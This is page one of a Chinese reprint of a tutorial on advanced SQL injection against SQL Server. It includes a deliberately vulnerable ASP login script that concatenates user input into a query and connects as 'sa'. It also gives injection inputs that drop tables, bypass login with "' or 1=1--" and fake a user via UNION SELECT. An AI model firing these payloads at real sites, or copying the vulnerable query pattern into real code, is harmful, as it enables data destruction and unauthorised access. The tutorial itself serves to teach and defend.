当前位置:中国站长下载文章中心网页编程.NET编程 → SQL Server应用程序中的高级SQL注入(1)

SQL Server应用程序中的高级SQL注入(1)

减小字体 增大字体 作者:不详  来源:不详  发布时间:2006-8-14 8:31:42
     介绍:
   SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。
   当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。
  
  一个典型的SQL语句如下:
  Select id,forename,surname from authors
  这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:
  Select id,forename,surname from authors where forename'john' and surname='smith'
  需要着重指明的是字符串'john'和'smith'被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句,
  如下:
  Forename:jo'hn
  Surname:smith
  查询语句变为:
  Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
  当数据库试图去执行这个查询时,它将返回如下错误:
  Server:Msg 170, Level 15, State 1, Line 1
  Line 1:Incorrect syntax near 'hn'
  造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行'hn',但是失败。如果攻击者提供特别的输入如:
  Forename:jo';drop table authors—
  Surname:
  结果是authors表被删除,造成这种结果的原因我们稍后再讲。
  
  看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:
  Select id,forename,surname from authors where id=1234
  在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用'#'限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。
  
  我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。
  这是一个提交表单页的代码,让用户输入用户名和密码:
  <HTML>
  <HEAD>
  <TITLE>Login Page</TITLE>
  </HEAD>
  
  <BODY bgcolor='000000' text='cccccc'>
  <FONT Face='tahoma' color='cccccc'>
  <CENTER><H1>Login</H1>
  <FORM action='process_loginasp' method=post>
  <TABLE>
  <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR>
  <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR>
  </TABLE>
  <INPUT type=submit value='Submit'><INPUT type=reset value='Reset'>
  </FORM>
  </Font>
  </BODY>
  </HTML>
  下面是process_login.asp的代码,它是用来控制登陆的:
  <HTML>
  <BODY bgcolor='000000' text='ffffff'>
  <FONT Face='tahoma' color='ffffff'>
  <STYLE>
  p { font-size=20pt ! important}
  font { font-size=20pt ! important}
  h1 { font-size=64pt ! important}
  </STYLE>
  <%@LANGUAGE = JScript %>
  <%
  function trace( str ) {
  if( Request.form("debug") == "true" )
  Response.write( str );
  }
  function Login( cn ) {
  var username;
  var password;
  username = Request.form("username");
  password = Request.form("password");
  var rso = Server.CreateObject("ADODB.Recordset");
  var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
  rso.open( sql, cn );
  if (rso.EOF) {
  rso.close();
  %>
  <FONT Face='tahoma' color='cc0000'>
  <H1> <BR><BR>
  <CENTER>ACCESS DENIED</CENTER>
  </H1>
  </BODY>
  </HTML>
  <% Response.end return; }
  else {
  Session("username") = "" + rso("username");
  %>
  <FONT Face='tahoma' color='00cc00'>
  <H1> <CENTER>ACCESS GRANTED<BR> <BR>
  Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end }
  }
  function Main() { //Set up connection
  var username
  var cn = Server.createobject( "ADODB.Connection" );
  cn.connectiontimeout = 20;
  cn.open( "localserver", "sa", "password" );
  username = new String( Request.form("username") );
  if( username.length > 0) {
  Login( cn );
  }
  cn.close();
  }
  Main();
  %>
  出现问题的地方是process_lgin.asp中产生查询语句的部分:
  Var sql="select * from users where username='"+username+"' and password='"+password+"'";
  如果用户输入的信息如下:
  Username:';drop table users—
  Password:
  数据库中表users将被删除,拒绝任何用户进入应用程序。'—'符号在Transact-SQL中表示忽略'—'以后的语句,';'符号表示一个查询的结束和另一个查询的开始。'—'位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。
  
  攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:
  Username:admin'—
  攻击者可以使用users表中第一个用户,输入如下:
  Username:' or 1=1—
  更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:
  Username:' union select 1,'fictional_user','some_password',1—
  这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。
  
  通过错误消息获得信息
  这个几乎是David Litchfield首先发现的,并且通过作者渗透测试的;后来David写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。
  
  为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表:
  Create talbe users(
   Id int,
   Username varchar(255),
   Password varchar(255),
   Privs int
   )
  然后将下面的用户插入到users表中:
  Insert into users values(0,'admin','r00tr0x!',0xffff)
  Insert

[1] [2] [3]  下一页